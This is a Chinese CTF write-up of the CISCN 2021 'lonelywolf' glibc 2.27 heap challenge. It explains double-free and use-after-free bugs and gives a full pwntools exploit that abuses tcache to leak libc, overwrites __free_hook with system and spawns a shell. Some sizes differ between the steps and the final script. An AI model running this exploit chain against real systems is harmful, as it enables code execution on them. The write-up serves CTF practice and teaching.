NSSCTF[堆][tcache]

[CISCN 2021 初赛]lonelywolf

题目地址:[CISCN 2021 初赛]lonelywolf | NSSCTF
参照:https://nuoye-blog.github.io/2021/05/16/466a7375/

思路:

  1. 先看tcache结构,伪造一个0x91的chunk,为找0x91chunk的数量,再将其释放free进入unsortedbin来泄漏main_arena地址。

    image-20240712160527756

题目分析:

  1. 只能控制一个堆index只能位0,add函数,限制了不能申请大小为0x90的chunk:

    image-20240712174415106

  2. delete函数,heap指针没有清0,存在double free:

    image-20240712174547228

  3. edit函数,结合free函数,存在UAF漏洞,释放chunk后还能往里面写参数(可以修改next的值):

    image-20240712174638950

  4. show函数,同样存在UAF漏洞,可以打印释放后的chunk中的内容:

    image-20240712174751510

利用:

  1. 先申请一个大小为0x80的chunk,再double free泄漏tcache的基地址:

    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)	#绕过double free的检查
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    

    image-20240712175402058

  2. 修改chunk0x80的next指针,指向tcache+0x10的位置,然后两个申请得到tcache chunk0x251:

    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    

    image-20240712175720770

  3. 伪造0x90chunk的数量,伪造0x80chunk的next地址指向tcache+0x260(后续用来伪装成0x90chunk),伪造0x70的next地址指向tcache+0x250(0x80的上面)(后续用来更改0x80chunk的size字段值):

    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    

    image-20240712180651608

  4. 修改上面0x80chunk的size字段为0x91(伪造0x90大小的chunk),再申请一个小chunk将伪造的0x90chunk与topchunk隔开

    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x31)) #由于前面申请的0x40chunk会在伪造的0x90chunk的数据域内部,所以在后面额外加上0x41的数据域大小
    

    不加 edit(b’\x00’*0x8+p64(0x31)):(必须是0x40+0x30或者0x30+0x20,不然会报错)

    image-20240712181413019

    加上 edit(b’\x00’*0x8+p64(0x31)):

    image-20240712181629240

  5. 申请0x80chunk(实际上申请的时0x90chunk),然后释放活得main_arena中的地址:

    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    free()
    show()
    
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    

    image-20240712182011615

  6. 再申请0x40的chunk,释放后修改其next指针指向**__free_hook-0x8**地址(因为tcache在申请时不检查size字段,所以不用看__free_hook-0x8前面的size字段值):

    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x28)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    

    image-20240712182813509

  7. 两次申请后得到该地址,再向该地址写入 b"/bin/sh\x00"+p64(system_addr),最后free执行system(“/bi/sh”):

    add(0x28)
    add(0x28)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    free()
    
  8. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node4.anna.nssctf.cn",28516)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
    elf = ELF("./pwn")
    
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    
    
    def add(size):
        sla(b'choice:',b'1')
        sla(b':',str(0))
        sla(b':',str(size))
    
    def edit(content):
        sla(b':',b'2')
        sla(b':',b'0')
        sla(b':',content)
    
    def show():
        p.sendlineafter(b':',b'3')
        p.sendlineafter(b':',b"0")
    
    def free():
        sla(b': ',b'4')
        sla(b': ',b'0')
    
    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    
    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    
    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    
    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x41))
    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    
    free()
    show()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x38)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    
    add(0x38)
    add(0x38)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    
    free()
    p.sendline(b"cat flag")
    p.interactive()
    

    成功拿到本地flag:

    image-20240712183148198

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值